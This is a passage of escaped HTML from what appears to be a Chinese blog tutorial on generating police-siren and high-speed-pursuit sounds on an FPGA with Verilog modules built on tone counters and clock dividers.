punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e-\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"token keyword\"\u003enegedge\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e speaker \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e speaker \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003espeaker\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 id=\"Police-siren\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/f804/#Police-siren\" class=\"headerlink\" title=\"Police siren\"\u003e\u003c/a\u003ePolice siren\u003c/h3\u003e\u003cp\u003e接下来是生成一个听起来像警笛的声音。这个声音听着是又小逐渐变大的这种,之前声音像跳楼梯,这次的像上坡。\u003c/p\u003e\u003cp\u003e我们将音调计数器 \u003ccode\u003etone\u003c/code\u003e 的速度提高一倍,变为3Hz。\u003c/p\u003e\u003cp\u003e然后,就开始升频操作。我们提取音调计数器的16位到第22位:\u003ccode\u003etone[22:16]\u003c/code\u003e。这样我们得到了7bit,并且以一个中等速度从0~127,到达127后,再从127~0。\u003c/p\u003e\u003cp\u003e为了得到一个向下的斜坡,将其进行翻转(\u003ccode\u003e~tone[22:16]\u003c/code\u003e),此时从127~0。\u003c/p\u003e\u003cp\u003e为了切换上下这两个通道,同上面一样,我们根据 MSB \u003ccode\u003etone[23]\u003c/code\u003e 的值进行选择,3Hz切换一次。\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e6\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e ramp \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e23\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e?\u003c/span\u003e tone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e22\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e16\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e22\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e16\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cblockquote\u003e\u003cp\u003ewire表示直通,即只要输入有变化,输出马上无条件地反映;reg表示一定要有触发,输出才会反映输入。(\u003ca href=\"https://zhuanlan.zhihu.com/p/482748824\"\u003e【Verilog HDL】Verilog中wire与reg类型学习 - 知乎 (zhihu.com)\u003c/a\u003e)\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e这样做的意义:\u003ca href=\"https://www.fpga4fun.com/MusicBox_ramp_explanation.html\"\u003efpga4fun.com - Music box siren ramp\u003c/a\u003e 。\u003c/p\u003e\u003cp\u003e这个 \u003ccode\u003eramp\u003c/code\u003e 的值从 \u003ccode\u003e7\u0026#39;b0000000\u003c/code\u003e 到 \u003ccode\u003e7\u0026#39;b1111111\u003c/code\u003e 。为了得到一个可用的值产生声音,我们在他前面补2位 \u003ccode\u003e2\u0026#39;b01\u003c/code\u003e 后面补7位 \u003ccode\u003e7\u0026#39;b0000000\u003c/code\u003e 进行填充。\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e clkdivider \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e{\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u0026#39;b01\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e ramp\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e7\u0026#39;b0000000\u003c/span\u003e\u003cspan class=\"token operator\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e这样, \u003ccode\u003eclkdivider\u003c/code\u003e 的值从 \u003ccode\u003e16\u0026#39;b0100000000000000\u003c/code\u003e 到\u003ccode\u003e16\u0026#39;b01111110000000\u003c/code\u003e ,在50MHz的时钟下,相当于产生从765Hz到1525Hz的高音调警报器。\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token comment\"\u003e// police\u003c/span\u003e\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e police #\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eparameter\u003c/span\u003e clkdivider \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e50000000\u003c/span\u003e\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e440\u003c/span\u003e\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eoutput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e speaker\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// MSB 3Hz变动一次\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e23\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e tone\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"token keyword\"\u003enegedge\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e tone \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e24\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e tone \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e tone\u003cspan class=\"token operator\"\u003e+\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 判断是上升还是下降\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e6\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e ramp \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e23\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e?\u003c/span\u003e tone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e22\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e16\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e22\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e16\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// clkdivider 以3Hz为周期变动\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e clkdivider \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e{\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u0026#39;b01\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e ramp\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e7\u0026#39;b0000000\u003c/span\u003e\u003cspan class=\"token operator\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e counter\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"token keyword\"\u003enegedge\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e16\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e clkdivider\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e-\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"token keyword\"\u003enegedge\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e speaker \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e speaker \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003espeaker\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e \u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 id=\"High-speed-pursuit\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/f804/#High-speed-pursuit\" class=\"headerlink\" title=\"High-speed pursuit\"\u003e\u003c/a\u003eHigh-speed pursuit\u003c/h3\u003e\u003cp\u003e要进行高速追击,警报声音有快有慢。\u003c/p\u003e\u003cp\u003e所以 \u003ccode\u003etone[22:16]\u003c/code\u003e 给我们一个快速的斜坡,而 \u003ccode\u003etone[25:19]\u003c/code\u003e 给我们一个缓慢的斜坡。\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e6\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e fastsweep \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e23\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e?\u003c/span\u003e tone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e22\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e16\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e22\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e16\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e6\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e slowsweep \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e26\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e?\u003c/span\u003e tone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e25\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e19\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e25\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e19\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e clkdivider \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e{\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u0026#39;b01\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e28\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e?\u003c/span\u003e slowsweep \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e fastsweep\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e7\u0026#39;b0000000\u003c/span\u003e\u003cspan class=\"token operator\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e最终代码\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token comment\"\u003e// hign.v\u003c/span\u003e\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e hign \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eoutput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e speaker\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e28\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e tone\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"token keyword\"\u003enegedge\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e tone \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e25\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e tone \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e tone\u003cspan class=\"token operator\"\u003e+\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e6\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e fastsweep \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etone\u003cspan 